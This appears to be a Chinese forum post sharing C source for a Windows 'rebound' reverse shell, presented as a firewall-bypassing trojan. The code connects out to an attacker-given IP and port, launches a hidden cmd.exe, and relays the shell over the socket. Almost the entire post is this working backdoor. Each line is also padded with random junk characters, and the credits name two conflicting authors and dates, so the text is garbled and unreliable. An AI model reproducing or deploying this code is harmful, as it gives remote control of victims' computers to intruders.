这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 W-PZE|<
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/* ============================== g$"eI/o
Rebound port in Windows NT ?+O|mX}`-
By wind,2006/7 L[G\+
===============================*/ Au._n,<
#include ~fp+@j-A
#include .r| vz6tU?
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#pragma comment(lib,"wsock32.lib") :J`!'{r
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void OutputShell(); 6&QTVdK'O
SOCKET sClient; J8v:a`bX&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A4Q)YY9~
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void main(int argc,char **argv) f5b`gvCY,#
{ gZEA;N:H%<
WSADATA stWsaData; :/[YY?pg-
int nRet; CotMV^
SOCKADDR_IN stSaiClient,stSaiServer; .&Pe7`.BE
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if(argc != 3) Mr NOcx&
{ 9;Pu9s[q2
printf("Useage:\n\rRebound DestIP DestPort\n"); ms\/=96F
return; ;k&k#>L!K
} fI
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WSAStartup(MAKEWORD(2,2),&stWsaData); _{`'{u
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qv*uM0G6i
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stSaiClient.sin_family = AF_INET; 1xdESorX(
stSaiClient.sin_port = htons(0); S[hJ{0V
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8P<UO
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) FX|lhwmc(
{ Kpp*^
printf("Bind Socket Failed!\n"); h>^jq{yu
return; J ]Gc
} K?Xo3W%K
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stSaiServer.sin_family = AF_INET; P$6f +{
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); R3{*v =ov
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (LT\
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) QVG0>,+}$
{ &v
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printf("Connect Error!"); J'\eS./w|
return; `m@]
} ]~
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OutputShell(); (:y,CsR}4
} ny
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void OutputShell() S1az3VJI\
{ _Xk03\n6
char szBuff[1024]; H81.p
SECURITY_ATTRIBUTES stSecurityAttributes; V^Mf4!A(y
OSVERSIONINFO stOsversionInfo; @!&Jgg53G
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4l%?mvA^m
STARTUPINFO stStartupInfo; _8x'GK
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char *szShell; l)i&ATvCE
PROCESS_INFORMATION stProcessInformation; ~D-JZx
unsigned long lBytesRead; g]==!!^<D
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Wlr&g
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); re ]Ste
stSecurityAttributes.lpSecurityDescriptor = 0; 5!SoN}$
stSecurityAttributes.bInheritHandle = TRUE; (?!(0Ywbg
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E~<(i':
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3XAp Y'
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?ae[dif
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q{.{#G
stStartupInfo.wShowWindow = SW_HIDE; &O+sK4P
stStartupInfo.hStdInput = hReadPipe; KJ0xp hf
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6Q.{llO
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GetVersionEx(&stOsversionInfo); b(.-~c('
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switch(stOsversionInfo.dwPlatformId) IFd )OZ5
{ ,>bGbx
case 1: SE,o7_k'S
szShell = "command.com"; >%uAQiU
break; J{Y6fHFi
default: p@?7^nIR*u
szShell = "cmd.exe"; )K>Eniou
break; ;mf4U85
} Q vv\+Jp^
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Z&+NmOY4
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send(sClient,szMsg,77,0); XKz;o^1a^
while(1) |eH wp
{
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); JCcN>DtP
if(lBytesRead) P &;y]
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{ Zdv.PGn
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Qqd6.F
send(sClient,szBuff,lBytesRead,0); *'UhlFed
} l^DINZU@
else .dD9&n;#^
{ 5x*5|8
lBytesRead=recv(sClient,szBuff,1024,0); LYd}w(}
if(lBytesRead<=0) break; NoFs-GGGh
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1a7!4)\
} i0k+l
} k_,MoDz
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return; %xf)m[JU=
}